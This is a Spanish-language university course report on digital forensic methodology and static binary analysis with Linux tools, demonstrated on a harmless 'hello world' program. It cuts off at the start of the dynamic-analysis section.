66.69 Criptografía y Seguridad Informáticamaterias.fi.uba.ar/6669/alumnos/2007-1/Analisis Forense...

62
66.69 Criptografía y Seguridad Informática Análisis Forense Docentes: Ing. Pagola, Hugo Ing. Estrada, Veronica Curso: 1º Cuatrimestre 2007 Grupo: 1 Integrantes: Nombre Padrón Cardieri, Ariel 81537 Tugnarelli, Mariano 78945 Gattesco, Damián 80096

Transcript of 66.69 Criptografía y Seguridad Informáticamaterias.fi.uba.ar/6669/alumnos/2007-1/Analisis Forense...

66.69 Criptografía y Seguridad Informática

Análisis Forense

Docentes:

Ing. Pagola, Hugo

Ing. Estrada, Veronica

Curso: 1º Cuatrimestre 2007

Grupo: 1

Integrantes:

Nombre Padrón

Cardieri, Ariel 81537

Tugnarelli, Mariano 78945

Gattesco, Damián 80096

66.69 Criptografía y Seguridad Informática

Análisis Forense – Grupo 1

Índice

Índice....................................................................................................................................................................... 2 Objetivos del Trabajo Práctico ................................................................................................................................ 3 Referencias .............................................................................................................................................................. 4 Introducción al Análisis Forense ............................................................................................................................. 5

Objetivos ............................................................................................................................................................. 5 Metodología ........................................................................................................................................................ 7

Principios generales para la recolección de evidencias ................................................................................... 9 Orden de Volatilidad ....................................................................................................................................... 9

Consideraciones de Legales .............................................................................................................................. 10 Análisis de Archivos Binarios ............................................................................................................................... 11

Introducción ...................................................................................................................................................... 11 Conocimientos Previos...................................................................................................................................... 12 Técnicas de análisis forense .............................................................................................................................. 13 Primeros pasos prácticos ................................................................................................................................... 14

Análisis Estático ............................................................................................................................................ 15 Análisis Dinámico ......................................................................................................................................... 22

Herramientas para el análisis forense ................................................................................................................ 27 Herramientas en Linux/Unix ..................................................................................................................... 27

Caso de estudio - aio ............................................................................................................................................. 30 Contexto ............................................................................................................................................................ 30 Análisis Estático ................................................................................................................................................ 30 Análisis Dinámico ............................................................................................................................................. 35 Análisis Estático: aio.bin ................................................................................................................................... 44 Analisis Dinamico: aio.bin ................................................................................................................................ 53

ANEXO 1 - Referencias técnicas .......................................................................................................................... 57 ELF................................................................................................................................................................ 57

Linking view.............................................................................................................................................. 57 Execution View ......................................................................................................................................... 57 Header ....................................................................................................................................................... 57

ANEXO 2 – Herramientas comerciales................................................................................................................. 58 Glosario ................................................................................................................................................................. 60 Bibliografía............................................................................................................................................................ 61

2

66.69 Criptografía y Seguridad Informática

Análisis Forense – Grupo 1

Objetivos del Trabajo Práctico

Describir las incumbencias del análisis forense.

Relevar las técnicas y herramientas utilizadas para el análisis de malware.

Llevar a la práctica la utilización de las herramientas de análisis forense para el

reconocimiento de malware.

Describir los aspectos legales del análisis de malware.

Reproducir el análisis forense del capítulo 14 de [Jones 2005] sobre el ejecutable linux

aio.

3

66.69 Criptografía y Seguridad Informática

Análisis Forense – Grupo 1

Referencias

Este trabajo esta basado en

Keith J. Jones, Richard Bejtlich, Curtis W. Rose, Real Digital Forensics: Computer

Security and Incident Response, September 2005.

Los casos prácticos de estudio que en la referencia se desarrollan fueron reproducidos en un

contexto similar al explicado para asimilar los conceptos y llevar a la práctica la utilización de

herramientas de análisis forense.

4

66.69 Criptografía y Seguridad Informática

Análisis Forense – Grupo 1

Introducción al Análisis Forense

El análisis forense digital está relacionado con la aplicación de técnicas de investigación metódicas para

poder reconstruir una secuencia de eventos producidos.

El proceso de análisis se puede categorizar de diferentes maneras según las técnicas que se usen. Por

ejemplo existen análisis vivos en los cuales se analiza el sistema comprometido online. En este tipo de casos se

trata de analizar el contenido volátil (principalmente la memoria) aunque también el no volátil es analizado, ya

que cuanta mas información se tenga mayor detalle del ataque se sabrá. Cuando se hace el análisis volátil hay

que tener mucho cuidado con la confiabilidad de la información que nos devuelve el sistema operativos ya que

hay ataques en los que el intruso llega a modificar al kernel y de esta manera puede interceptar nuestras

peticiones al SO y ocultar información.

Otro detalle importante del análisis forense es el grado de abstracción de la información recolectada.

Aunque uno puede leer bit a bit la evidencia, resulta ineficiente por el tiempo que se tarda en encontrar la

información (aunque en algunos casos sea la única manera). Para eso uno se ayuda con herramientas (algunas

provistas por el sistema operativo). Hay varias herramientas en el mercado y muchas de ellas libre y otras

comerciales.

El análisis forense no se limita solamente a una computadora aislada sino que todo lo contrario. Tener

información sobre las conexiones realizadas en una red o el análisis de varias computadoras a la vez, puede

ayudar a reconstruir acciones del intruso.

Objetivos

El objetivo de un análisis forense informático es realizar un proceso de búsqueda detallada para

reconstruir a través de todos los medios el log de acontecimientos que tuvieron lugar, desde el momento cuando

el sistema estuvo en su estado integro hasta el momento de detección de un acceso no autorizado.

Esa tarea debe ser llevada acabo con máxima cautela, asegurándose que se conserva intacta, a la mayor

medida posible, la información contenida en el disco de un sistema comprometido, de forma similar que los

investigadores policiales intentan mantener la escena del crimen intacta, hasta que se recogen todas las pruebas

posibles.

Cada uno de los incidentes es único, por lo tanto, la tarea a realizar de un investigador forense externo

es diferente en cada caso. Algunas veces el trabajo puede estar limitado a colaborar con las agencias del gobierno

como Departamento de Delitos Telemáticos de Guardia Civil y/o Brigada Investigación Tecnológica,

proporcionándoles el equipo íntegro para que sea analizado en sus instalaciones y por sus expertos.

5

66.69 Criptografía y Seguridad Informática

Análisis Forense – Grupo 1

Otras veces será necesario previamente realizar una recolección de información del sistema informático:

analizar ficheros log, estudiar el sistema de ficheros del equipo comprometido y reconstruir la secuencia de

eventos para tener una imagen clara y global del incidente.

El análisis termina cuando el forense tiene conocimiento de:

Como se produjo el compromiso

Bajo que circunstancias

La identidad de posible/s atacante/s

Su procedencia y origen

Fechas de compromiso

Objetivos del/los atacante/s

Evidencias que lo demuestren

6

66.69 Criptografía y Seguridad Informática

Análisis Forense – Grupo 1

Metodología

El análisis forense proporciona algunas técnicas y principios que facilitan la investigación del delito y

su metodología básica consiste en:

1. Información. Se debe obtener la mayor cantidad de información referida al sistema que será analizado.

Es decir, el investigador forense debe enterarse de todo lo sucedido en el sistema antes de comenzar a

realizar el análisis.

2. Características Legales El investigador forense debe realizar acciones que estén comprendidas en el

marco legal.

3. Adquirir las evidencias sin alterar ni dañar el original. La forma ideal de examinar un sistema consiste

en detenerlo y examinar una copia de los datos originales, es importante tener en cuenta que no se

puede examinar un sistema presuntamente comprometido utilizando las herramientas que se encuentran

en dicho sistema pues estas pueden estar afectadas. La Cadena de Custodia documenta el proceso

completo de las evidencias durante la vida del caso, quién la recogió y donde, quien y como la

almacenó, quién la procesó… etc. Cada evidencia deberá ser identificada y etiquetada a ser posible en

presencia de testigos, con el número del caso, una breve descripción, la firma y la fecha en que fue

recogida.

4. Autenticar las evidencias recogidas que van a ser la base de la investigación, estas deben ser idénticas

a las abandonadas por el intruso en la escena del crimen. Las técnicas y herramientas de control de

integridad se implementan mediante la utilización de una función hash, la cual genera una huella

electrónica digital de un fichero o un disco completo.

5. No alteración de los datos. En este punto, es crucial proteger las evidencias físicas originales

trabajando con copias idénticas de forma que en caso de error se pueda recuperar la imagen original y

continuar con el análisis de forma correcta. Se recomienda la realización de dos copias de los discos

originales. Estas copias deben ser clones realizados bit a bit del dispositivo original, los backups

normales no copian ficheros que han sido borrados ni determinadas partes de los discos que pueden

contener pistas importantes para el desarrollo de la investigación. Es básico realizar siempre un control

de integridad de la copia realizada antes de comenzar ningún análisis.

6. Realizar el Análisis. Una vez obtenidos las evidencias se procede a realizar el análisis de las mismas.

Dicho análisis se realizará con alguna herramienta especifica.

7. Presentar el Informe. Presentación del informe pericial, ante las autoridades solicitantes, detallando

los resultados hallados.

7

66.69 Criptografía y Seguridad Informática

Análisis Forense – Grupo 1

De los párrafos anteriores puede deducirse que las evidencias digitales presentan una serie de ventajas

sobre otros conjuntos de evidencias físicas. Estas ventajas son:

1. Pueden ser duplicadas de forma exacta, pudiendo examinarse la copia como si fuera el original. Si

alguien intenta destruir las evidencias se pueden tener copias igualmente válidas lejos del alcance del

intruso.

2. Con la utilización de herramientas adecuadas es fácil determinar si la evidencia ha sido modificada o

falsificada comparándola con la original.

3. Es relativamente difícil destruir una evidencia digital. Incluso borrándola puede ser recuperada del

disco.

Una vez que el Administrador del sistema tenga sospechas de que su sistema haya sido violado, y que

no existan pruebas que indiquen lo contrario como por ejemplo resultados de chequeos de integridad realizados

por alguna herramienta, tiene que considerar que efectivamente el sistema ha sido violado. Desde aquél

momento, es necesario tener máximo cuidado para evitar que se produzca cualquier alteración de la "escena del

crimen".

8

66.69 Criptografía y Seguridad Informática

Análisis Forense – Grupo 1

Principios generales para la recolección de evidencias

Contactar con la autoridad competente encargada de tratar ese tipo de incidentes.

Intentar capturar el estado actual del sistema como si se tratase de una foto.

Guardar notas detalladas de todos los pasos dados. En éstas se debería incluir horas y fechas en las

que se realizó cada acción.

Estar preparado para testificar (posiblemente años después), esquematizando todas la acciones realizadas y la hora a la que se llevaron a cabo. Obtener unas notas minuciosas es de vital importancia.

Reducir al mínimo las alteraciones que se realicen sobre los datos durante el proceso de

recolección. Esto no se limita únicamente a no modificar el contenido de los datos, sino que se debería evitar modificar los tiempos de último acceso de los ficheros y de los directorios.

Cuando se tenga que decidir entre realizar recolección de datos o realizar análisis, se deberá hacer

primero la recolección y más tarde el análisis.

Proceder a la recolección de pruebas por orden decreciente de volatilidad.

No apagar el sistema hasta que se haya completado la recolección de evidencias. Muchas evidencias se podrían perder y, además, el atacante puede haber modificado los scripts/servicios de arranque/parada de forma que eliminen pruebas de su presencia en el sistema.

Hacer copias a nivel de bit de la información del sistema.

Orden de Volatilidad

Cuando se lleva a cabo la recolección de evidencias, se deben tener en cuenta la volatilidad de los datos.

La siguiente lista muestra un ejemplo del orden de volatilidad para un sistema típico:

Registros y caché.

Tabla de enrutamiento, caché ARP, tabla de procesos, estadísticas del sistema.

Ficheros temporales del sistema.

Disco.

Logs y datos monitorizados de forma remota.

9

66.69 Criptografía y Seguridad Informática

Análisis Forense – Grupo 1

Consideraciones de Legales

Las evidencias obtenidas del sistema deben ser:

Admisibles: Deben de ser conformes con las leyes actuales para que puedan ser presentadas ante un jurado.

Auténticas: Deben estar autenticadas.

Confiables: No debe haber ninguna duda sobre cómo fueron obtenidas.

Creíbles: Deben ser realmente demostrables y comprensibles para los miembros de un jurado.

10

66.69 Criptografía y Seguridad Informática

Análisis Forense – Grupo 1

Análisis de Archivos Binarios

Introducción

En esta parte del trabajo práctico vamos a explicar en detalle el análisis de los archivos

binarios de procedencia desconocida.

Esta disciplina es usada cuando analizando un sistema comprometido encontramos algún

archivo ejecutable que fue ingresado por el intruso y se desea saber el comportamiento del mismo.

Esta disciplina también es usada por las empresas que realizar antivirus. Cuando se encuentra

con un nuevo virus, las empresas necesitar analizar el virus para poder reconocer el patrón de

comportamiento y de esta manera saber como detectarlo.

Como conclusión, el análisis forense de un archivo binario desconocido, nos va a ser útil en

varios aspectos, como:

Conocimiento profundo del binario para identificar si hubo más sistemas comprometidos

y para la prevención del mismo en ataques futuros.

Poder saber las capacidades del binario y con esto poder identificar los daños producidos

en el sistema comprometido y el esfuerzo requerido para ponerlos devuelta en

funcionamiento.

Conocer los skills del programador y usuario del binario y con esta información poder

reconocer el posible atacante.

A continuación se enumeraran los conocimientos que creemos necesarios para poder hacer un

análisis efectivo de un archivo binario.

11

66.69 Criptografía y Seguridad Informática

Análisis Forense – Grupo 1

Conocimientos Previos

Para poder realizar un análisis forense de binarios hay que tener conocimientos profundos

sobre programación y assembler, como también su interacción con el sistema operativo donde ejecuta

el binario. Cuando nos referimos a interacción, estamos hablando de cómo son las llamadas al sistema

operativo (System Calls) para abrir un archivo, escribir en él o establecer una conexión de red con un

proceso remoto.

Es importante conocer como es el proceso de creación de una instancia de un ejecutable en el

sistema operativo (en nuestro caso un Linux) y como se enlazan las bibliotecas dinámicas a él. Un

libro que explica la teoría sobre este tema (y como es llevado a la practica por los diferentes sistemas

operativos) es “Linkers and Loaders” de John Levine [Levine 1999].

Para el análisis estático (y también dinámico) es importante conocer el formato del archivo

binario (o también llamado objeto). Si no se dispone de herramientas o las misma no son suficiente

para el análisis, siempre existe la posibilidad de recorrer el archivo con un editor hexadecimal. Si no se

conoce la estructura del archivo, ese análisis es inútil.

Por último, un tema no menor es la ofuscación de código. El fin de esta técnica es transformar

un código que tiene un comportamiento por otro código difícil de entender y analizar pero con el

mismo comportamiento.

12

66.69 Criptografía y Seguridad Informática

Análisis Forense – Grupo 1

Técnicas de análisis forense

El análisis de un archivo binario puede dividirse (como en todo análisis forense) en dos partes:

El análisis estático y el análisis dinámico.

Haciendo un análisis estático podemos conocer un montón de información del binario y poder

predecir el comportamiento. En cambio, el análisis dinámico sirve para entender mejor la interacción

con el usuario y el sistema operativo.

El análisis estático implica varias formas inspección que no involucra la ejecución del binario,

lo que es realizado por el análisis dinámico.

El análisis dinámico permite hacer el seguimiento o alterar el flujo de ejecución utilizando

aplicaciones de monitoreo.

Como el comportamiento del binario es desconocido, es importante aislar la ejecución del

mismo. Una buena forma seria creando una maquina virtual con una vmware.

Potencialmente, las técnicas de análisis estático hacen posible conocer todo acerca del binario,

mientras que las técnicas de análisis dinámico están restringidas por la capacidad de interactuar

presente en el ejecutable. No obstante, en muchas situaciones para complementar un análisis estático

completo se requiere además aplicar alguna técnica de análisis dinámico.

13

66.69 Criptografía y Seguridad Informática

Análisis Forense – Grupo 1

Primeros pasos prácticos

Para esta parte del trabajo práctico vamos a mostrar las diferentes herramientas que tenemos a

nuestro alcance para analizar un binario. En los ejemplos vamos a utilizar un programa realizado por

nosotros y no va haber peligro de que el binario haga daño nuestro el sistema. Por lo tanto vamos a

realizar los pasos en nuestro sistema sin la necesidad de una maquina virtual.

Para explicar los pasos a realizar, vamos a codificar un programa sencillo y compilarlo.

Aunque resulte muy básico, el famoso “hola mundo” nos puede servir. A continuación se muestra el

código:

$ cat holamundo.c #include <stdio.h> int main(int argc, char * argv[]) { printf("Hola Mundo!\n"); return 0; }

Compilamos,

$ gcc -c holamundo.c $ gcc -o holamundo holamundo.o

Ejecutamos el binario para ver la salida, $ ./holamundo Hola Mundo!

Perfecto, ya tenemos nuestro binario para poder analizar. Un paso importante antes de

cualquier análisis es realizar un md5 del archivo y guardarlo. Luego al finalizar con el análisis

podemos enterarnos rápidamente si el contenido del archivo fue modificado (tanto por nosotros como

por el programa en si).

$ md5sum holamundo > md5sum_holamundo.txt $ cat md5sum_holamundo.txt e77c4dbd6dca09fef4fcd585caaab2ca holamundo

A continuación vamos a mostrar las diferentes formas de obtener información de un binario

sin necesidad de ejecutar o sea, el análisis estático.

14

66.69 Criptografía y Seguridad Informática

Análisis Forense – Grupo 1

Análisis Estático

El primer comando que vamos a mostrar se llama file. Al ejecutarlo pasándole un archivo

como parámetro, el comando nos muestra el tipo de archivo que es y algo que otra información que

pueda reconocer.

Este comando se ayuda de una gran base de datos con información para poder reconocer el

formato del archivo y saber interpretar parte de él (algunos bytes el comienzo).

Si lo ejecutamos con el holamundo obtenemos lo siguiente:

$ file holamundo holamundo: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.6.0, dynamically linked (uses shared libs), not stripped

El comando nos dice que el archivo holamundo es un ejecutable para intel 386 y entorno

linux. Usa bibliotecas dinámicas y no esta pelado (not stripped). Esto ultimo significa que la

información de debug que se inserta al momento de compilar, no se elimino.

Como podrán ver, este comando es muy útil para cuando se comienza a analizar y no se sabe

bien que se tiene entre manos.

Volviendo al tema de la información de debug, vale aclarar que hay varios niveles. El mas alto

puede llegar a contener información que asocia una instrucción de assembler con la linea de código

correspondiente (va a haber más de una instrucción de assembler por linea de código). El nivel se

puede configurar al momento de compilar y posteriormente eliminar usando el comando strip. Lo más

probable es que cuando nos encontremos con un archivo desconocido y con malas intenciones, el nivel

de debug sea nulo.

El siguiente comando que vamos a mostrar es el strings. Este comando es muy útil por la

cantidad y tipo de información que nos muestra.

Básicamente el funcionamiento de strings consta de mostrar por pantalla las cadenas de

caracteres ASCII (que se pueden imprimir) contenidas en el archivo binario. El comportamiento por

defecto es mostrar cadenas que como mínimo son de 4 caracteres pero se puede cambiar ese

comportamiento. Otro comportamiento por defecto que puede ser cambiado es las secciones en las que

busca cadenas. Por defecto solamente busca en las variables globales o estáticas inicializadas y las

15

66.69 Criptografía y Seguridad Informática

Análisis Forense – Grupo 1

secciones con información para cargar el proceso (las que contiene las bibliotecas y funciones a las

cuales se enlaza la aplicación)

Si lo ejecutamos con el holamundo obtenemos lo siguiente:

$ strings holamundo /lib/ld-linux.so.2 __gmon_start__ libc.so.6 _IO_stdin_used puts __libc_start_main GLIBC_2.0 PTRh QVht [^_] Hola Mundo!

Notarán que la última cadena que muestra strings es el “Hola Mundo!”. Si ejecutamos con la

opción -a, la cantidad de línea es 118, a diferencia que el anterior que fue de 11. Esta opción es la que

obliga a strings a buscar en todas las secciones del binario. Una opción útil es usar -tx que cambiar el

formato de la salida anteponiendo el número (en hexadecimal) donde aparece la cadena.

El siguiente comando que vamos a mostrar es el visualizador hexadecimal. Aunque el strings

no mostraba bastante información sobre el binario, el visualizados hexadecimal nos permitira

examinar el archivo entero. El problema de trabajar directamente con el contenido del archivo es que

al no estar procesada la información, va a costar mucho mas entenderla. Otra cosa a tener en cuenta es

que es necesario conocer detalladamente el formato de las estructuras que componen el binario, como

por ejemeplo la cabecera de un archivo ELF.

A continuacion vamos a mostrar los primero 160 bytes del archivo binario. Vamos a usar el

comando hexdump con la opcion -C para que muestre la posicion de los bytes, su representacion

hexadecimal y su representacion en pantalla (si no se puede imprimir, lo reemplazara por un punto):

$ hexdump -C holamundo | head 00000000 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 |.ELF............| 00000010 02 00 03 00 01 00 00 00 d0 82 04 08 34 00 00 00 |............4...| 00000020 bc 0c 00 00 00 00 00 00 34 00 20 00 07 00 28 00 |........4. ...(.| 00000030 24 00 21 00 06 00 00 00 34 00 00 00 34 80 04 08 |$.!.....4...4...| 00000040 34 80 04 08 e0 00 00 00 e0 00 00 00 05 00 00 00 |4...............| 00000050 04 00 00 00 03 00 00 00 14 01 00 00 14 81 04 08 |................| 00000060 14 81 04 08 13 00 00 00 13 00 00 00 04 00 00 00 |................| 00000070 01 00 00 00 01 00 00 00 00 00 00 00 00 80 04 08 |................| 00000080 00 80 04 08 7c 04 00 00 7c 04 00 00 05 00 00 00 |....|...|.......| 00000090 00 10 00 00 01 00 00 00 7c 04 00 00 7c 94 04 08 |........|...|...|

Si revisan las primeros 4 bytes del archivo, prodran notar que es un archivo binario ELF

(como nos indico el comando file). En el archivo elf.h de cualquier distribucion linux, van a encontrar

16

66.69 Criptografía y Seguridad Informática

Análisis Forense – Grupo 1

la estructuras de un archivo ELF y su magic number. En el Anexo 1 se muestra la estructura de la

cabecera ELF.

El siguiente comando nos va listar los simbolos que el archivo binario contiene y los hace

referencia. Los simbolos pueden ser variables globales estaticas o funciones. El nombre del comando

es nm y a continuacion de muestra la salida usandolo con el binario holamundo:

$ nm holamundo 08049490 d _DYNAMIC 08049564 d _GLOBAL_OFFSET_TABLE_ 08048468 R _IO_stdin_used w _Jv_RegisterClasses 08049480 d __CTOR_END__ 0804947c d __CTOR_LIST__ 08049488 d __DTOR_END__ 08049484 d __DTOR_LIST__ 08048478 r __FRAME_END__ 0804948c d __JCR_END__ 0804948c d __JCR_LIST__ 08049588 A __bss_start 0804957c D __data_start 08048420 t __do_global_ctors_aux 08048320 t __do_global_dtors_aux 08049580 D __dso_handle w __gmon_start__ 08048419 T __i686.get_pc_thunk.bx 0804947c d __init_array_end 0804947c d __init_array_start 080483a0 T __libc_csu_fini 080483b0 T __libc_csu_init U __libc_start_main@@GLIBC_2.0 08049588 A _edata 0804958c A _end 08048448 T _fini 08048464 R _fp_hw 08048274 T _init 080482d0 T _start 080482f4 t call_gmon_start 08049588 b completed.5758 0804957c W data_start 08048350 t frame_dummy 08048374 T main 08049584 d p.5756 U puts@@GLIBC_2.0

Podran notar que los simbolos que no define el archivo pero que hace referencia estan

indicados con la letra U y no se indica ubicación dentro del archivo (esto ultimo es obvio ya que no lo

define). Los demas simbolos que aparecen a parte del main son generados por el compilador y linker y

son necesarios para la inicializacion y funcionamiento del programa. Una cosa que van a notar cuando

veamos el comando readelf es que la entrada al programa no es main, sino que es _start. El comando

_start luego de inicializar algunas estructuras temina llamando a main con los parametros con los que

fue invocado el programa.

17

66.69 Criptografía y Seguridad Informática

Análisis Forense – Grupo 1

Con el listo de simbolos vamos a poder entender mas la estructura del programa, como

tambien el uso que hace de bibliotecas externas. Con las direcciones de cada simbolo vamos a poder

explorar la definicion de cada funcion e ir entendiendo de a poco el funcionamiento que tiene el

binario.

El siguiente comando que vamos a mostrar nos va a indicar las bibliotecas dinamicas que el

binario necesita para poder funcionar. Esta informacion la saca de una seccion especial del archivo

ELF llamada .interp. A continacion se muestra la salida cuando ejecutamos el comando ldd con

nuestro binario de ejemplo holamundo:

$ ldd holamundo linux-gate.so.1 => (0xffffe000) libc.so.6 => /lib/tls/i686/cmov/libc.so.6 (0xb7dd8000) /lib/ld-linux.so.2 (0xb7f2c000)

Viendo la salida del comando, observamos que holamundo necesita la biblioteca estandar de C

(libc.so) para funcionar, la cual era de esperar, ya que el programa llama a printf(). Otra biblioteca que

se usa es ld-linux.so. Esta biblioteca es llamada cuando se esta inicializando el programa, y su funcion

es inicializar la carga de bibliotecas dinamicas. La última biblioteca que nos muestra ldd es linux-

gate.so. Esta librería no existe fisicamente, sino que es un truco que se usa para lograr invocar las

llamadas al sistema de una manera más eficiente [Petersson 2005].

Ahora vamos a mostrarles uno de los comandos más potentes que nos ofrece linux para leer el

contenido de un binario ELF. El nombre del comando es readelf y tiene un sin fin de opciones para

poder recorrer el archivo binario y mostrar información del mismo.

La primera invocacion a readelf la vamos a realizar con la opcion –file-header. Esta opcion

nos muestra el contenido de la cabecera que tiene un archivo ELF:

$ readelf --file-header ./holamundo ELF Header: Magic: 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 Class: ELF32 Data: 2's complement, little endian Version: 1 (current) OS/ABI: UNIX - System V ABI Version: 0 Type: EXEC (Executable file) Machine: Intel 80386 Version: 0x1 Entry point address: 0x80482d0 Start of program headers: 52 (bytes into file) Start of section headers: 3260 (bytes into file) Flags: 0x0 Size of this header: 52 (bytes) Size of program headers: 32 (bytes) Number of program headers: 7 Size of section headers: 40 (bytes) Number of section headers: 36 Section header string table index: 33

18

66.69 Criptografía y Seguridad Informática

Análisis Forense – Grupo 1

La salida del comando muesta el contenido de los campos de la cabecera ELF. Observando podemos

decir que el binario es un programa Intel 386 y los numero son complemento a 2, little endian (el bit

menos significativo es el primero). Un dato importante que nos dice la salida es el punto de entrada del

programa. El mismo es 0x80482d0 y si recuerdan la salida del comando nm es el simbolo _start y no

main. Esta aclaracion la habiamos indicado cuando mostramos el comando nm. Para mas información

sobre la cabecera puede ir al Anexo 1 donde van a encontrar la estructura de un archivo ELF y la

definion en una estructura C de la cabecera.

Ahora vamos a invocar a readelf con la opcion que nos muestra las secciones del binario:

$ readelf --section-headers ./holamundo There are 36 section headers, starting at offset 0xcbc: Section Headers: [Nr] Name Type Addr Off Size ES Flg Lk Inf Al [ 0] NULL 00000000 000000 000000 00 0 0 0 [ 1] .interp PROGBITS 08048114 000114 000013 00 A 0 0 1 [ 2] .note.ABI-tag NOTE 08048128 000128 000020 00 A 0 0 4 [ 3] .hash HASH 08048148 000148 000028 04 A 5 0 4 [ 4] .gnu.hash GNU_HASH 08048170 000170 000020 04 A 5 0 4 [ 5] .dynsym DYNSYM 08048190 000190 000050 10 A 6 1 4 [ 6] .dynstr STRTAB 080481e0 0001e0 00004a 00 A 0 0 1 [ 7] .gnu.version VERSYM 0804822a 00022a 00000a 02 A 5 0 2 [ 8] .gnu.version_r VERNEED 08048234 000234 000020 00 A 6 1 4 [ 9] .rel.dyn REL 08048254 000254 000008 08 A 5 0 4 [10] .rel.plt REL 0804825c 00025c 000018 08 A 5 12 4 [11] .init PROGBITS 08048274 000274 000017 00 AX 0 0 4 [12] .plt PROGBITS 0804828c 00028c 000040 04 AX 0 0 4 [13] .text PROGBITS 080482d0 0002d0 000178 00 AX 0 0 16 [14] .fini PROGBITS 08048448 000448 00001c 00 AX 0 0 4 [15] .rodata PROGBITS 08048464 000464 000014 00 A 0 0 4 [16] .eh_frame PROGBITS 08048478 000478 000004 00 A 0 0 4 [17] .ctors PROGBITS 0804947c 00047c 000008 00 WA 0 0 4 [18] .dtors PROGBITS 08049484 000484 000008 00 WA 0 0 4 [19] .jcr PROGBITS 0804948c 00048c 000004 00 WA 0 0 4 [20] .dynamic DYNAMIC 08049490 000490 0000d0 08 WA 6 0 4 [21] .got PROGBITS 08049560 000560 000004 04 WA 0 0 4 [22] .got.plt PROGBITS 08049564 000564 000018 04 WA 0 0 4 [23] .data PROGBITS 0804957c 00057c 00000c 00 WA 0 0 4 [24] .bss NOBITS 08049588 000588 000004 00 WA 0 0 4 [25] .comment PROGBITS 00000000 000588 000126 00 0 0 1 [26] .debug_aranges PROGBITS 00000000 0006b0 000058 00 0 0 8 [27] .debug_pubnames PROGBITS 00000000 000708 000025 00 0 0 1 [28] .debug_info PROGBITS 00000000 00072d 0001ad 00 0 0 1 [29] .debug_abbrev PROGBITS 00000000 0008da 000066 00 0 0 1 [30] .debug_line PROGBITS 00000000 000940 00013d 00 0 0 1 [31] .debug_str PROGBITS 00000000 000a7d 0000bb 01 MS 0 0 1 [32] .debug_ranges PROGBITS 00000000 000b38 000048 00 0 0 8 [33] .shstrtab STRTAB 00000000 000b80 000139 00 0 0 1 [34] .symtab SYMTAB 00000000 00125c 0004f0 10 35 60 4 [35] .strtab STRTAB 00000000 00174c 0002b1 00 0 0 1 Key to Flags: W (write), A (alloc), X (execute), M (merge), S (strings) I (info), L (link order), G (group), x (unknown) O (extra OS processing required) o (OS specific), p (processor specific)

Entre las secciones que se listan se encuentra la .text que contiene el codigo objeto del

programa, la .data que contiene las variables inicializadas globales y estaticas.

19

66.69 Criptografía y Seguridad Informática

Análisis Forense – Grupo 1

Ahora vamos a mostrar el dump de una seccion con el readelf. Elegimos la seccion de solo

lectura (.rodata) porque seguramente ahi encontremos alguna información que un ser humano pueda

entender. El número de seccion es el 15. Con ese número vamos a obtener el contenido de la seccion

invocando readelf de la siguiente manera:

$ readelf --hex-dump=15 ./holamundo Hex dump of section '.rodata': 0x08048464 6e754d20 616c6f48 00020001 00000003 ........Hola Mun 0x08048474 00216f64 do!.

Si observan bien, la cadena que se usa para mostrar el mensaje “Hola Mundo!” por pantalla se

encuentra 9 bytes dentro de la seccion de solo lectura.

El comando readelf tambien provee una opcion, --symbols, para ver la información de los

simbolos como lo haria el comando nm. A diferencia con nm, readelf nos muestra la seccion a la cual

pertenecen. Por el tamaño del trabajo práctico, no podemos mostrar toda la funcionalidad que tiene

readelf pero creo que mostramos las más importantes. Para mas informacion pueden recurrir al manual

(man readelf).

El último comando que vamos a mostrar para el analisis estatico se llama objdump. Este

comando se complementa muy bien con el anterior y nos ayuda a entrar más en detalle en algunas de

las secciones del binario.

Aunque algunas de las opciones del objdump tiene su equivalente al readelf, este comando

ofrece otras opciones que el anterior no tiene, como por ejemplo, la posibilidad de mostrar el

contenido en codigo assembler. Aunque esta funcionalidad es muy potente, hay que aclarar que la

tecnica de disassemble usada por objdump no es muy sofisticada y dependiendo del codigo a

examinar, el resultado puede no ser el correcto. A continuacion se muestra el assembler del codigo

incluido en el holamundo (solamente vamos a mostrar el codigo de la funcion main):

$ objdump --disassemble ./holamundo ./holamundo: file format elf32-i386 ... 08048374 <main>: 8048374: 8d 4c 24 04 lea 0x4(%esp),%ecx 8048378: 83 e4 f0 and $0xfffffff0,%esp 804837b: ff 71 fc pushl 0xfffffffc(%ecx) 804837e: 55 push %ebp 804837f: 89 e5 mov %esp,%ebp 8048381: 51 push %ecx 8048382: 83 ec 04 sub $0x4,%esp 8048385: c7 04 24 6c 84 04 08 movl $0x804846c,(%esp) 804838c: e8 2b ff ff ff call 80482bc <puts@plt>

20

66.69 Criptografía y Seguridad Informática

Análisis Forense – Grupo 1

8048391: b8 00 00 00 00 mov $0x0,%eax 8048396: 83 c4 04 add $0x4,%esp 8048399: 59 pop %ecx 804839a: 5d pop %ebp 804839b: 8d 61 fc lea 0xfffffffc(%ecx),%esp 804839e: c3 ret 804839f: 90 nop ...

Como podran ver, hay varias herramientas para obtener información de un archivo binario sin

la necesidad de tener que ponerlo en funcionamiento. A continuación vamos a mostrar las

herramientas que se usan cuando se quiere hacer un analisis dinamico de un binario.

21

66.69 Criptografía y Seguridad Informática

Análisis Forense – Grupo 1

Análisis Dinámico

Antes de empezar con el analisis dinamico, vamos a reiterar el riesgo que tiene realizarlo en

un ambiente que no este controlado. En nuestro caso, vamos a mostras las herramientas con el binario

holamundo realizado por nosotros. Por lo tanto no hay riesgo. Pero en un caso real, hay que recurrir a

ambientes aislados como se una maquina dedicada para eso, sin conexión a red o una maquina virtual.

Vamos a comenzar el analisis dinamico con la herramienta strace. El funcionamiento de strace

consta de interceptar las llamadas al sistema que esta realizando el binario y mostrarlas por pantalla. A

parte de mostrar la llamada al sistema tambien nos provee de los parametros con la que fue invocada y

el retorno de la misma. A continuacion se muestra la invocacion de strace:

